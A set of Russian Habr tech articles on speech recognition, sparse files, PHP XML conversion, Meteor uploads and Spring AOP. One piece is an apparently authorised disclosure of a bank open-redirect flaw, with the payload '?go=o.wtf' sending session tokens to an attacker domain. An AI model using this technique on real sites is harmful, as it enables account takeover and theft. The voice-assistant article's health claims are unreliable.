X-vector: [-1.065311, 0.14455, 1.310549, 0.596016, -0.151356, -0.362094, 0.745858, -0.264195, 0.307014, 0.058419, 0.738315, 0.635655, -0.495874, 0.139377, 0.356549, -0.173395, 0.074023, -0.83072, -1.736858, -0.570139, 0.89358, 0.075338, 0.886154, -0.137121, -0.722118, -0.586631, -0.923351, -1.145369, 0.721946, 0.855906, -0.527137, -0.602525, -0.404175, 0.14571, 0.481054, 1.070324, -0.452989, 0.440212, 0.95773, 0.607813, -0.748662, 0.248267, 0.281229, -1.602895, -1.129104, 0.378493, -1.342542, 0.312861, -0.405486, 0.232147, -0.883148, 0.215719, -0.720657, 0.241228, -0.856604, -0.454164, 1.092535, -1.528371, -0.849456, -0.413601, 0.011528, -0.619541, 1.089719, -1.076719, 0.778474, -1.022505, -0.282122, 1.959929, -1.417458, -0.375822, 1.581648, 0.906027, -0.800187, 1.231653, 0.859697, 1.284286, -1.040324, -1.228232, -0.971846, -0.594426, -1.413725, -0.99551, 2.357713, -1.907972, -0.16593, 0.183826, -1.341422, -1.380152, -0.252688, 0.401448, 1.342474, -1.904654, 1.280014, 0.632759, 0.323294, -0.3574, 1.516961, -2.11078, -1.839827, -0.427943, 0.832596, -1.724944, -0.031242, -1.266902, 3.215793, 0.2991, -0.187186, 1.585431, 0.9225, -0.128613, 0.383765, -0.972161, 0.774282, 0.43021, -1.750064, 1.274774, 0.026617, 0.428113, -0.443698, 0.896994, -0.522293, -1.237508, -2.001688, -0.641555, -1.942122, 0.561793, 1.141983, -0.478895]
Speaker distance: 0.01602843768494866 based on 174 frames
LOG (VoskAPI:~CachingOptimizingCompiler():nnet-optimize.cc:710) 0.0117 seconds taken in nnet3 compilation total (breakdown: 0.0107 compilation, 0.000635 optimization, 0 shortcut expansion, 0.000121 checking, 9.54e-07 computing indexes, 0.000215 misc.) + 0 I/O.
Text: no no to uno
X-vector: [-0.315216, 0.088054, 1.967613, 0.440483, -1.425646, 0.299931, 0.621808, -0.920581, 0.263069, -0.216305, -0.384349, 0.078719, 0.15704, 2.007216, -1.331602, 0.720121, 0.508036, -0.768363, -0.074315, 0.113592, 1.173006, 1.21138, -0.294857, 0.835466, -0.270718, 1.132135, -1.588558, 0.406705, -0.531724, 0.092602, 1.5677, -0.245982, 0.655816, 0.376164, 0.077411, -0.547771, 0.196848, 1.530783, 0.557785, -0.846675, -1.288608, 0.140275, 0.06392, 0.709163, -1.025039, -1.477721, -0.179096, 0.316264, -0.566066, 1.153895, 0.654089, 0.084374, -0.510161, 1.186644, -0.202071, -0.915526, -0.196917, -0.162389, 1.817603, -1.664899, -0.072249, -0.117305, 1.670558, -3.026185, -0.49294, -1.51643, -0.205612, 1.918243, 0.776788, -0.101979, 2.172074, 0.091645, 0.411623, 1.020418, -0.71609, -0.034635, -0.32363, -0.673635, -0.972474, 0.851203, 0.621995, -0.112647, 1.024791, -1.764144, 1.312728, -1.02536, -1.223556, -2.747352, 0.381789, 0.217219, 0.347767, 0.004582, -0.838587, 1.136404, -1.049031, -0.575243, 0.848262, -0.057954, -1.762913, 0.393559, 0.84619, 0.221667, 0.608691, 1.417057, -1.322821, -1.321385, 0.973689, -1.175761, -0.317987, 0.373828, -0.192994, 0.854224, 2.230777, 0.627181, -1.071384, -1.809651, 0.849013, 0.41032, -0.045185, -0.073063, -0.428079, -0.577237, -0.861689, 1.305788, -1.700222, -1.188621, 1.197436, 0.943091]
Speaker distance: 0.7495460914450667 based on 72 frames
Note that second distance is not very reliable because utterance is too short. Utterances longer than 4 seconds give better xvector
LOG (VoskAPI:~CachingOptimizingCompiler():nnet-optimize.cc:710) 0.0136 seconds taken in nnet3 compilation total (breakdown: 0.0121 compilation, 0.00063 optimization, 0 shortcut expansion, 0.00017 checking, 1.19e-06 computing indexes, 0.000646 misc.) + 0 I/O.
Text: cyril one eight zero three
X-vector: [-0.880006, 0.186606, 1.848107, 0.674361, -0.747068, 0.03707, 0.332981, -0.223074, -0.26606, 0.252309, 1.311052, 0.731834, -0.347791, -0.015727, 0.264074, -0.045843, 0.053776, -0.341771, -0.984138, -0.346953, 0.937853, -0.316124, 2.276106, -0.589401, 0.283398, 0.678342, -0.392648, -1.73645, 0.341099, 1.257073, 0.82611, -1.22818, 0.039835, -0.080493, -0.912248, 1.685127, 0.177878, 0.660492, 1.094303, 0.473059, -1.256159, 0.937267, 0.0417, -0.292262, -0.285039, -0.921979, -1.534441, -0.211981, -1.994463, 0.512648, 0.114646, 2.468064, -1.15914, -0.797758, -0.199447, -0.672875, 0.452033, -0.163903, -0.109623, 0.564099, -1.081989, -1.362331, 0.484899, -1.329233, 0.515784, -1.341571, -0.899612, 1.492324, -0.498962, -0.926496, 2.493385, 0.475057, 0.597296, 1.374582, 0.777272, 1.556976, -0.215508, -1.401148, -0.779485, -0.165828, 0.1682, -0.165277, 1.167712, -0.748817, -0.668321, -0.006841, -1.870955, 0.296376, 0.362641, 0.246981, -0.74697, -1.148609, -0.256512, -0.708602, -0.910755, -0.65048, 0.785714, -1.613403, -1.52025, -0.366386, 1.112397, -1.063604, -0.169103, -0.115601, 2.725785, 1.206273, -0.047244, -1.942164, -0.144012, 0.981502, 0.374681, 0.070751, 1.332015, -0.631551, -1.297623, 2.502249, 0.580735, 0.215355, 0.008061, -0.758196, -0.870196, -0.198494, 0.504556, 0.333052, -1.248781, 1.009707, 1.975181, 1.947483]
Speaker distance: 0.40815495072293917 based on 177 frames
```
Так как набор служебной информации у всех на работе разный, напомним несколько важных цифр, которые установили учёные-нейролингвисты.
Обычный человек в сутки может произнести: мужского пола — десять тысяч слов, женского пола — пятнадцать тысяч. Средний темп говорения на европейском языке у его носителя: сто пятьдесят слов в минуту, а темп написания — только сорок.
При взаимодействии с различными системами искусственного интеллекта нужно понимать, что мы добиваемся от них гладкого диалога. Диалоги вида «да» или «нет» приводят человека к психологическим проблемам.
Установлено, что если при взаимодействии с системой искусственного интеллекта можно поменять голос на голос любимого родственника, то этот нехитрый прием позволяет старым людям продлить жизнь на очень долгое время.
При отклике голосом, который является не безликим голосом, а более «персонализированным» через две минуты общения с ним у человека, как правило, возникает положительная эмоция, которая способствует выздоровлению, если мы говорим в целом об использовании голосовых помощников в медицине.
О той массе голосовых навыков, которая есть рынке, требуется заметить, что фактически API JScript и умение писать диалоги — это и все, что нужно для овладения этой востребованной профессией.
Если я скажу, что есть не менее 5000 навыков для всех голосовых ассистентов на рынке, то могу ошибиться на тысячу-другую.
В медицинских центрах, где врачи работали с минимальными диалогами, и там, где часто используется система речевой поддержки больных, было замечено, что если человек за десять- пятнадцать минут до визита к доктору надиктует своё текущее состояние и система распознает его речь и сделает предположение о его состоянии, то врач примет более взвешенное решение о его здоровье.
Голосовые системы, встроенные в пробки упаковок для принятия лекарств, спасли уже не одну жизнь, потому что они заставили людей принимать не только лекарства, но и воду в при гриппе через правильно высчитанное время, допустим каждые два часа.
Статья была написана с использованием VOSK-API. Вычеркнуто неверно распознанных слов — 20, исправлено 15 ошибок в окончаниях. Расставлены знаки препинания.
Хочу выразить **Николаю Шмыреву** из компании AC Technologies LLC г. Новосибирск искреннюю благодарность за платформу VOSK-API и представленные с ней модели.
**Использованная литература**
[Comparison Between Cloud-based and Offline Speech Recognition Systems](https://mediatum.ub.tum.de/doc/1399984/1399984.pdf)
[Адаптация VOSK-API под нужды пользователя](https://alphacephei.com/vosk/adaptation)
[Создание словаря для бота](https://habr.com/ru/post/511722/) | https://habr.com/ru/post/527018/ | null | ru | null |
# Гайд для новичков. Разреженные файлы в Windows, Linux и MacOS, файловых систем NTFS, REFS, Ext3, Ext4, BTRFS и APFS
В этой статье пойдет речь о разреженных файлах. Расскажем об их недостатках и достоинствах, какие файловые системы поддерживают такие файлы. А также, как создавать или преобразовать их из обычных. Статья для новичков.
Разреженные – это специальные файлы, которые с большей эффективностью используют файловую систему, они не позволяют ФС занимать свободное дисковое пространство носителя, когда разделы не заполнены. То есть, «пустое место» будет задействовано только при необходимости. Пустая информация в виде нулей, будет хранится в блоке метаданных ФС. Поэтому, разреженные файлы изначально занимают меньший объем носителя, чем их реальный объем.
Этот тип поддерживает большинство файловый систем: BTRFS, NILFS, ZFS, NTFS, ext2, ext3, ext4, XFS, JFS, ReiserFS, Reiser4, UFS, Rock Ridge, UDF, ReFS, APFS, F2FS.
Все эти ФС полностью поддерживают такой тип, но в тоже время не предоставляют прямой доступ к их функциям по средством своего стандартного интерфейса. Управлять их свойствами можно только через команды командной строки.
Разница между сжатием и разреженными файлами
--------------------------------------------
Все файловые системы, которые я назвал выше, также поддерживают стандартную функцию сжатия. Оба этих инструмента дают преимущество в виде экономии места на диске, но достигают этой цели по-разному. Основным недостатком использования сжатия является то, что это может снизить производительность системы при выполнении операции чтения\ записи. Так как будут использоваться дополнительные ресурсы для распаковки или сжатия данных. Но некоторые программные продукты не поддерживают сжатие.
Преимущества и недостатки
-------------------------
Самым большим преимуществом разреженных файлов является то, что пользователь может создавать файлы большого размера, которые занимают очень мало места для хранения. Пространство для хранения выделяется автоматически по мере записи на него данных. Разреженные файлы большого объема создаются за относительно короткое время, поскольку файловой системе не требуется предварительно выделять дисковое пространство для записи нулей.
Преимущества ограничены лишь приложениями, которые их поддерживают. Если у программы нет возможности распознавать или использовать их, то она сохранит их в исходном – несжатом состоянии, что не даст никаких преимуществ. Также с ними нужно быть осторожными, поскольку разреженный файл размером всего несколько мегабайт может внезапно увеличиться до нескольких гигабайт, когда неподдерживающие приложения скопируют его в место назначения.
Еще один из недостатков — это то, что нельзя скопировать или создать такой файл, если его номинальный размер превышает доступный объем свободного пространства (или ограничения размера квоты, налагаемые на учетные записи пользователей). Например, если исходный размер (со всеми нулевыми байтами) составляет 500 МБ, а для учетной записи пользователя, используемой для его создания, существует предел квоты в 400 МБ. Это приведет к ошибке даже если фактическое дисковое пространство, занимаемое им, составляет всего 50 МБ на диске.
Что касается накопителей, на которых хранятся такие данные, то они также подвержены фрагментации, поскольку файловая система будет записывать данные в разреженные файлы по мере необходимости. Со временем это может привести к снижению производительности. Кроме того, некоторые утилиты для управления дисками могут неточно отображать объем доступного свободного места. Когда файловая система почти заполнена, это может привести к неожиданным результатам. Например, могут возникать ошибки «переполнения диска», когда данные копируются поверх существующей части, которая была помечена как разреженная.
Создаем разреженный файл в Windows
----------------------------------
Для этого в ОС Windows будем использовать командную строку. В поиске пишем cmd и запускаем ее от имени администратора.
В Windows для управления такими данными используют программу fsutil (утилита файловой системы). При выполнении create, по умолчанию файл создается самый обычный. Переходим в папку где нужно его создать и вводим:
`fsutil file createnew sparse-file 1000000000`
Где sparse-file – имя, а в конце указан его размер в байтах.
Чтобы присвоить файлу значение «разреженный» вводим:
`fsutil sparse setflag sparse-file`
Для удаления этого флага выполняется следующая команда:
`fsutil sparse setflag sparse-file 0`
И чтобы снова присвоить атрибут:
`fsutil sparse setflag sparse-file`
Проверяем:
`fsutil sparse queryflag sparse-file`
Сам по себе атрибут ещё не приводит к экономии дискового пространства. Для этого нужно разметить пустую область, которая будет освобождена внутри.
Для пометки пустой области введите:
`fsutil sparse setrange sparse-file 0 1000000000`
В конце указывается смещение и длина, они задаются в байтах. В моем случае от нуля до 1Гб.
Для установки полностью разреженного файла указываем полный объем. Если нужно можно расширить файл указав здесь большее значение.
Для того чтобы убедиться, что файлу присвоен данный атрибут выполним layout
`fsutil file layout sparse-file`
Такой Атрибут можно задать любому файлу. Просто выполнив эту команду с его именем и задать нужный вам размер.
В свойствах созданного ранее файла можно увидеть, что при размере в 1Гб. файл занимает на диске 0 байт.
Данный набор команд подходит для всех файловых систем Windows, которые поддерживают данный тип данных (NTFS, ReFS и т.д.).
Как создать разреженный файл в Linux
------------------------------------
В Linux процесс создания таких типов данных немного проще, поскольку существует несколько команд для их создания. Этот набор подойдет для всех файловых систем Linux.
Здесь можно использовать команду dd, либо truncate.
Первая команда имеет следующий вид:
`dd if=/dev/zero of=file-sparse bs=1 count=0 seek=2G`
Где file-sparse – имя, и в конце указан его размер, можно задать в байтах, мегабайтах и т.д.
Вторая команда проще, она имеет такой вид:
`truncate -s2G file-sparse`
Где значение s – указывает размер, после которого идет имя.
По сравнению с Windows, в Linux при создании такого файла одной из команд, он будет «разреженным» по умолчанию.
Для преобразования обычного в разреженный, есть отдельная команда:
`cp --sparse=always ./025.jpg ./0251.jpg`
Где 025.jpg – первое имя обычного.
0251.jpg – и второе имя разреженного.
Как увеличить
-------------
Если вам нужно увеличить уже существующий файл воспользуйтесь первой командой, здесь замените имя и укажите нужный размер.
`dd if=/dev/zero of=025.jpg bs=1 count=0 seek=2G`
Это увеличит его размер до 2 Гб.
Для проверки размера выполним такую команду:
`du -h --apparent-size 025.jpg`
Разреженные файлы в ApFS
------------------------
По сути, данный набор команд подходит и для файловой системы apple – ApFS, так как Linux и MacOS используют в своей основе архитектуру ядра Unix, они обе предоставляют доступ к Unix-командам и оболочке Bash.
Запустите терминал и выполните любую из команд, которую я использовал в Linux.
В MacOS Catalina работает только первая команда, и размер нужно указывать в байтах, иначе в результате команда выведет ошибку.
`sudo dd if=/dev/zero of=sparse_APFS bs=1 count=0 seek=1000000000`
Файловая система ApFS при соблюдении определенных условий создает разреженные файлы по умолчанию, поэтому для увеличения любого файла можно использовать команду:
`dd if=/dev/zero of=187.jpg bs=1 count=0 seek=500000000`
Зададим размер, к примеру, 500Мб, в MacOS размер нужно указывать в байтах.
В свойствах можно увидеть, что его размер увеличился до 500 Mb.
Заключение
----------
Перед использованием этого функционала в любых ОС вам крайне важно узнать все их преимущества и недостатки. Знание этих особенностей гарантировано позволит вам избежать потенциальных проблем в будущем.
Полную версию статьи со всеми дополнительными видео уроками смотрите в [источнике](https://hetmanrecovery.com/ru/recovery_news/sparse-files-in-windows-linux-and-macos-ntfs-refs-ext3-ext4-btrfs-apfs-file-systems.htm). А также зайдите на наш [Youtube канал](https://www.youtube.com/channel/UCFs5l-T7tsoDfQ3DtYiyqWw), там собраны более 400 обучающих видео. | https://habr.com/ru/post/553474/ | null | ru | null |
# Функция конвертации stdClass в SimpleXml
Для одного личного проекта (да и давно просто хотелось попробовать) решил использовать в качестве шаблонизатора — XSLT. Все вроде бы чудесно: для xsl-преобразований требуется объект SimpleXml, из базы возвращается тоже объект, казалось бы в чем проблема, почему нельзя передавать объект из базы напрямую в шаблонизатор?
~~Но напрямую вывести объект в xslt-шаблонизатор нельзя...~~ *Утверждать наверняка не стану, но я искал, прежде чем создавать нового двухколесного друга. Личная мини-эра велосипедостроения по любому удобному поводу уже прошла.*
Поэтому и была написана следующая функция-конвертер (я кстати использую в codeigniter, хотя особой специфики это не вносит):
```
if ( ! function_exists('std2simplexml'))
{
function std2simplexml($object,$recursive=false)
{
$xml = new DOMDocument;
$root = $xml->createElement('root');
$xml->appendChild($root);
foreach ($object as $key => $child)
{
if (is_object($child))
{
$new_xml = std2simplexml($child,true);
$new_xml = str_replace(array('','',''),'',$new_xml);
$el = $xml->createElement($key,$new_xml);
}
else
{
$el = $xml->createElement($key,$child);
}
$root->appendChild($el);
}
if (!$recursive)
{
$simple_xml = simplexml_load_string(html_entity_decode($xml->saveXml()));
return $simple_xml;
}
else
{
return $xml->saveXml();
}
}
}
```
Функция небольшая, уверен сырая, но рабочая и я, пока еще, не столкнулся с тем, чтобы она не переварила.
В простом примере это выглядит так:
Контроллер:
```
// получаем объект книги из базы
$book_obj = $this->book->getBookPage($book,$page/2);
// создаем стандартный объект php
$future_xml = new stdclass;
// добавляем книгу
$future_xml->book = $book_obj;
// добавляем бла-бла
$future_xml->blabla = $blabla;
```
View:
```
// конвертируем объект в SimpleXML
$xml = std2simplexml($future_xml);
// добавляем еще переменные, но уже относящиеся к шаблону
$xml->template->base_url = base_url();
$xml->template->title = 'Книжная полка Городецкого';
// шаблонизатор
$xsl = simplexml_load_file( APPPATH.'templates/index.xsl' );
$proc= new XSLTProcessor();
$proc->importStyleSheet($xsl);
echo $proc->transformToXML($xml);
```
Входящий объект:
```
$xml = std2simplexml($future_xml);
```
```
stdClass Object
(
[cycle_book] => Мания величия
[title_book] => Гостья
[sub] => stdClass Object
(
[id_book] => 1
[id_category_book] => 4
)
)
```
Результат (объект):
```
SimpleXMLElement Object
(
[cycle_book] => Мания величия
[title_book] => Гостья
[sub] => SimpleXMLElement Object
(
[id_book] => 1
[id_category_book] => 4
)
)
```
Результат (XML):
```
1
4
1
4
```
Если кто-то подскажет более цивилизованные решения, буду рад.
Ну а за неимением авось кому-то данная функция сослужит хорошую службу. | https://habr.com/ru/post/132976/ | null | ru | null |
# Meteor. А теперь загрузка фоточек
Это же очень просто (ага, когда есть пример).
[[демо](http://demo-cfs.meteor.com/)] — мультизагрузка с линейками прогресса, требуется регистрация.
[[исходники](https://github.com/comerc/meteor-demo-cfs)] — комментарии по коду ниже.
**1)**
Стартую Метеор.
```
$ meteor create meteor-demo-cfs
$ cd meteor-demo-cfs
$ meteor
```
Чтобы не мешался экран терминала, запускаю в консоли [ctrl]+[alt]+[f4]; обратное переключение по [ctrl]+[alt]+[f7]. Это в Ubuntu.
**2)**
Редактирую ./meteor/packages — джентльменский набор пакетов.
```
meteor-platform
coffeescript
less
mquandalle:jade
accounts-password
ian:accounts-ui-bootstrap-3
twbs:bootstrap
cfs:standard-packages
cfs:filesystem
cfs:gridfs
cfs:ui
```
Метеор сам все поставит, как только файл будет сохранен.
**3)**
Удаляю ботву — все файлы из корня проекта (.js, .html, .css). Добавляю: main.coffee, main.jade, main.less.
**4)**
main.coffee
```
# вымораживает же набирать
cl = (something) ->
console.log(something)
# лениво же регистрироваться
config = admin: email: 'demo@example.com', password: '12345678'
if Meteor.isServer
Meteor.startup ->
if Meteor.users.find().count() is 0
seedUserId = Accounts.createUser
email: config.admin.email,
password: config.admin.password
# photoStore - где будем хранить файлы, дополнительные опции закомментированы
# https://github.com/CollectionFS/Meteor-CollectionFS#storage-adapters
if Meteor.isClient
# photoStore = new FS.Store.FileSystem 'photos'
photoStore = new FS.Store.GridFS 'photos'
if Meteor.isServer
# photoStore = new FS.Store.FileSystem 'photos'
photoStore = new FS.Store.GridFS 'photos',
# mongoUrl: 'mongodb://127.0.0.1:27017/test/', # optional, defaults to Meteor's local MongoDB
# mongoOptions: {...}, # optional, see note below
# transformWrite: myTransformWriteFunction, # optional
# transformRead: myTransformReadFunction, # optional
# maxTries: 1, # optional, default 5
# chunkSize: 1024*1024 # optional, default GridFS chunk size in bytes (can be overridden per file).
# # Default: 2MB. Reasonable range: 512KB - 4MB
{}
# коллекция с картинками
Photos = new FS.Collection 'photos',
stores: [photoStore]
filter: allow: contentTypes: ['image/*'] # allow only images in this FS.Collection
# про права доступа https://github.com/CollectionFS/Meteor-CollectionFS#security
Photos.allow
insert: (userId, file) ->
userId and file.metadata?.userId is userId
update: (userId, file, fieldNames, modifier) ->
userId and file.metadata?.userId is userId
remove: (userId, file) ->
userId and file.metadata?.userId is userId
download: (userId, file, shareId) ->
true
fetch: ['metadata.userId', 'original']
if Meteor.isClient
# список вновь загруженных файлов
newUpload = []
Meteor.startup ->
Tracker.autorun ->
if not Meteor.userId()
# reset, если мы потеряли пользователя
newUpload = []
Template.hello.events
'change input[type="file"]': (event, template) ->
# FileAPI http://caniuse.com/#search=fileapi
# или http://habrahabr.ru/company/mailru/blog/201010/
files = event.target.files
count = files.length
i = 0
while i < count
newFile = new FS.File(files[i])
# цепляю к файлу свои метаданные https://github.com/CollectionFS/Meteor-CollectionFS#add-custom-metadata-to-a-file-before-inserting
newFile.metadata = userId: Meteor.userId()
Photos.insert newFile, (error, file) ->
throw error if error
# If !error, we have inserted new doc with ID file._id, and
# kicked off the data upload using HTTP
cl file
i++
Template.hello.helpers
# передаю в шаблон mongo-курсор
photos: ->
Photos.find()
# это чтобы показывать progress-bar
isNewUpload: ->
if newUpload.indexOf(this._id) + 1
return true
unless this.isUploaded()
newUpload.push(this._id)
return true
return false
# подписка на данные http://ru.discovermeteor.com/chapters/publications-and-subscriptions/
if Meteor.isServer
Meteor.publish 'photos', (limit) ->
check(arguments, [Match.Any])
[
Photos.find({}, {limit: limit})
]
if Meteor.isClient
Meteor.subscribe 'photos', 100
```
**5)**
Публикую.
```
$ meteor deploy demo-cfs.meteor.com
```
**Сцылки.**
* Минимальный набор для старта CoffeeScript:
+ [coffeescript.org](http://cidocs.ru/coffeescript/)
+ [The Little Book on CoffeeScript](https://github.com/andrew--r/the-little-book-on-coffeescript)
+ [js2coffee.org](http://js2coffee.org/)
* [Jade](http://jade-lang.com/) — скоростная верстка. Меньше кодинга, больше COD.
* [Less](http://lesscss.org/) — скоростной css. Меньше кодинга, больше COD.
* Про [MongoDB](http://jsman.ru/mongo-book/).
* Про [Meteor-CollectionFS](https://github.com/CollectionFS/Meteor-CollectionFS).
* Про [Метеор](http://ru.discovermeteor.com/).
* [Atom](https://atom.io/) — прекрасный инструмент для кодинга в Метеоре от создателей GitHub. Дополнительно пакеты: Stylus, Sublime-Style-Column-Selection, language-jade, meteor-snippets, todo-show. | https://habr.com/ru/post/248875/ | null | ru | null |
# Угнать за 9 символов
Сегодня я расскажу вам историю об уязвимости, которая существовала в одном интернет-банке много лет. Её эксплуатация была настолько элементарной, а опасность была настолько не очевидна, что ни кто так и не обратил на неё внимание.
С этим банком у меня была договорённость о поиске уязвимостей и все мои действия были санкционированными. В тот вечер я уже потратил приличное время на поиск более-менее критичной уязвимости и так не найдя ничего стоящего, было уже отчаялся. Но тут мой взгляд зацепился за один параметр в череде запросов к серверу в момент авторизации. К слову, этот банк использовал передовую и очень надежную технологию авторизации, а именно двухфакторную авторизацию через смс. Так вот, параметр GET запроса, на который я обратил внимание, имел вид: `go=/path/to/some/page` и формировался на стороне сервера для дальнейшей переадресации. Но проблемой было то, что путь для переадресации был относительным и добавлялся к домену сайта и поэтому я игнорировал этот запрос в своих предыдущих исследованиях. К тому же, что бы в нем существовала потенциальная уязвимость, должен был иметь место ряд факторов, а именно:
1). возможность при помощи значения параметра `go`обеспечить переадресацию на сторонний домен
2). возможность на клиенте задавать значение этого параметра
3). и наконец, после авторизации при редиректе на сторонний домен должна передаться какая нибудь ценная информация
В итоге, с малой надеждой на какой либо результат, я начал искать пути эксплуатации потенциальной уязвимости.
Немного поразмыслив, я нашел решение первой из трёх вышеперечисленных задач. Предлагаю читателю тоже подумать над этой задачкой. У нас есть, на первый взгляд, относительный путь `/path/to/some/page,` который добавляется к домену сайта `internet-bank.com` и в итоге получается адрес `internet-bank.com/path/to/some/page.` Как нам сформировать урл со сторонним доменом? Кто догадался, может поставить себе плюсик за сообразительность. Кто хочет узнать ответ, читает дальше. Так вот, если мы вместо `/path/to/some/page` добавим `.some.domain.com,` то получится ссылка для переадресации вида `internet-bank.com.some.domain.com`
Таким образом, первый пункт из трёх перечисленных выше выполнен, мы сформировали имя стороннего домена, на который есть потенциальная возможность перенаправить пользователя. Осталось ещё 2 пункта.
Для выполнения пункта 2 я попробовал авторизоваться в интернет-банк не с адреса `internet-bank.com,` а с `internet-bank.com?go=/path/to/some/page.` И о чудо, сервер произвел двухфакторную авторизацию и в итоге перенаправил меня сперва на адрес `internet-bank.com/path/to/some/page/?token=37C853F2CA868D819BD9514C3CCEB,` а потом на `internet-bank.com/path/to/some/page.` Мне осталось разлогиниться и авторизовать с адреса
`internet-bank.com?go=.some.domain.com.` Сделав это, меня перекинуло на адрес `internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB,` таким образом пункт 3 выполнился автоматически. Зачем данный токен использовался в редиректах при авторизации, я так и не понял, но в итоге я имел возможность по ссылке `internet-bank.com?token=37C853F2CA868D819BD9514C3CCEB` авторизоваться с любого компьютера без ввода логина, пароля и смс.
Mission completed.
А что дальше? А дальше регистрируем домен второго уровня, например `como.wtf`, распространяем в Интернете ссылку `internet-bank.com?go=o.wtf` и получаем доступ к чужим аккаунтам в интернет-банке благодаря пересылке авторизационных токенов на `internet-bank.como.wtf`
В итоге получается, что для того, что бы иметь возможность угнать чужой аккаунт, нам достаточно добавить к совершенно безопасному адресу сайта интернет-банка всего 9 символов зловредного кода: **"?go=o.wtf"**
А для себя я сделал следующий вывод: если есть хоть малейшая вероятность существования потенциальной уязвимости, её нужно устранять. | https://habr.com/ru/post/263073/ | null | ru | null |
# Аспектно-ориентированное программирование, Spring AOP
Аспектно-ориентированное программирование (АОП) — это парадигма программирования являющейся дальнейшим развитием процедурного и объектно-ориентированного программирования (ООП). Идея АОП заключается в выделении так называемой сквозной функциональности. И так все по порядку, здесь я покажу как это сделать в Java — Spring @AspectJ annotation стиле (есть еще schema-based xml стиль, функциональность аналогичная).
### Выделении сквозной функциональности
До
и после
Т.е. есть функциональность которая затрагивает несколько модулей, но она не имеет прямого отношения к бизнес коду, и ее хорошо бы вынести в отдельное место, это и показано на рисунке выше.
### Join point
Join point — следующее понятие АОП, это точки наблюдения, присоединения к коду, где планируется введение функциональности.
### Pointcut
Pointcut — это срез, запрос точек присоединения, — это может быть одна и более точек. Правила запросов точек очень разнообразные, на рисунке выше, запрос по аннотации на методе и конкретный метод. Правила можно объединять по &&, ||,!
### Advice
Advice — набор инструкций выполняемых на точках среза (Pointcut). Инструкции можно выполнять по событию разных типов:
* **Before** — перед вызовом метода
* **After** — после вызова метода
* **After returning** — после возврата значения из функции
* **After throwing** — в случае exception
* **After finally** — в случае выполнения блока finally
* **Around** — можно сделать пред., пост., обработку перед вызовом метода, а также вообще обойти вызов метода.
на один Pointcut можно «повесить» несколько Advice разного типа.
### Aspect
Aspect — модуль в котором собраны описания Pointcut и Advice.
Сейчас приведу пример и окончательно все встанет (или почти все) на свои места. Все знаем про логирование кода который пронизывает многие модули, не имея отношения к бизнес коду, но тем не менее без него нельзя. И так отделяю этот функционал от бизнес кода.
> Пример — логирование кода
Целевой сервис
```
@Service
public class MyService {
public void method1(List list) {
list.add("method1");
System.out.println("MyService method1 list.size=" + list.size());
}
@AspectAnnotation
public void method2() {
System.out.println("MyService method2");
}
public boolean check() {
System.out.println("MyService check");
return true;
}
}
```
Аспект с описанием Pointcut и Advice.
```
@Aspect
@Component
public class MyAspect {
private Logger logger = LoggerFactory.getLogger(this.getClass());
@Pointcut("execution(public * com.example.demoAspects.MyService.*(..))")
public void callAtMyServicePublic() { }
@Before("callAtMyServicePublic()")
public void beforeCallAtMethod1(JoinPoint jp) {
String args = Arrays.stream(jp.getArgs())
.map(a -> a.toString())
.collect(Collectors.joining(","));
logger.info("before " + jp.toString() + ", args=[" + args + "]");
}
@After("callAtMyServicePublic()")
public void afterCallAt(JoinPoint jp) {
logger.info("after " + jp.toString());
}
}
```
И вызывающий тестовый код
```
@RunWith(SpringRunner.class)
@SpringBootTest
public class DemoAspectsApplicationTests {
@Autowired
private MyService service;
@Test
public void testLoggable() {
List list = new ArrayList();
list.add("test");
service.method1(list);
service.method2();
Assert.assertTrue(service.check());
}
}
```
Пояснения. В целевом сервисе нет никакого упоминания про запись в лог, в вызывающем коде тем более, в все логирование сосредоточено **в отдельном модуле**
`@Aspect
class MyAspect ...`
В Pointcut
```
@Pointcut("execution(public * com.example.demoAspects.MyService.*(..))")
public void callAtMyServicePublic() { }
```
я запросил все public методы MyService с любым типом возврата **\*** и количеством аргументов **(..)**
В *Advice Before и After* которые ссылаются на *Pointcut (callAtMyServicePublic)*, я написал инструкции для записи в лог. JoinPoint это не обязательный параметр который, предоставляет дополнительную информацию, но если он используется, то он должен быть первым.
Все разнесено в разные модули! Вызывающий код, целевой, логирование.
Результат в консоли
Правила Pointcut могут быть различные
> Несколько примеров Pointcut и Advice:
Запрос по аннотации на методе.
```
@Pointcut("@annotation(AspectAnnotation)")
public void callAtMyServiceAnnotation() { }
```
Advice для него
```
@Before("callAtMyServiceAnnotation()")
public void beforeCallAt() { }
```
Запрос на конкретный метод с указанием параметров целевого метода
```
@Pointcut("execution(* com.example.demoAspects.MyService.method1(..)) && args(list,..))")
public void callAtMyServiceMethod1(List list) { }
```
Advice для него
```
@Before("callAtMyServiceMethod1(list)")
public void beforeCallAtMethod1(List list) { }
```
Pointcut для результата возврата
```
@Pointcut("execution(* com.example.demoAspects.MyService.check())")
public void callAtMyServiceAfterReturning() { }
```
Advice для него
```
@AfterReturning(pointcut="callAtMyServiceAfterReturning()", returning="retVal")
public void afterReturningCallAt(boolean retVal) { }
```
> Пример проверки прав на Advice типа Around, через аннотацию
```
@Retention(RUNTIME)
@Target(METHOD)
public @interface SecurityAnnotation {
}
//
@Aspect
@Component
public class MyAspect {
@Pointcut("@annotation(SecurityAnnotation) && args(user,..)")
public void callAtMyServiceSecurityAnnotation(User user) { }
@Around("callAtMyServiceSecurityAnnotation(user)")
public Object aroundCallAt(ProceedingJoinPoint pjp, User user) {
Object retVal = null;
if (securityService.checkRight(user)) {
retVal = pjp.proceed();
}
return retVal;
}
```
Методы которые необходимо проверять перед вызовом, на право, можно аннотировать «SecurityAnnotation», далее в Aspect получим их срез, и все они будут перехвачены перед вызовом и сделана проверка прав.
Целевой код:
```
@Service
public class MyService {
@SecurityAnnotation
public Balance getAccountBalance(User user) {
// ...
}
@SecurityAnnotation
public List getAccountTransactions(User user, Date date) {
// ...
}
}
```
Вызывающий код:
```
balance = myService.getAccountBalance(user);
if (balance == null) {
accessDenied(user);
} else {
displayBalance(balance);
}
```
Т.е. в вызывающем коде и целевом, проверка прав отсутствует, только непосредственно бизнес код.
> Пример профилирование того же сервиса с использованием Advice типа [Around](https://habr.com/users/around/)
```
@Aspect
@Component
public class MyAspect {
@Pointcut("execution(public * com.example.demoAspects.MyService.*(..))")
public void callAtMyServicePublic() {
}
@Around("callAtMyServicePublic()")
public Object aroundCallAt(ProceedingJoinPoint call) throws Throwable {
StopWatch clock = new StopWatch(call.toString());
try {
clock.start(call.toShortString());
return call.proceed();
} finally {
clock.stop();
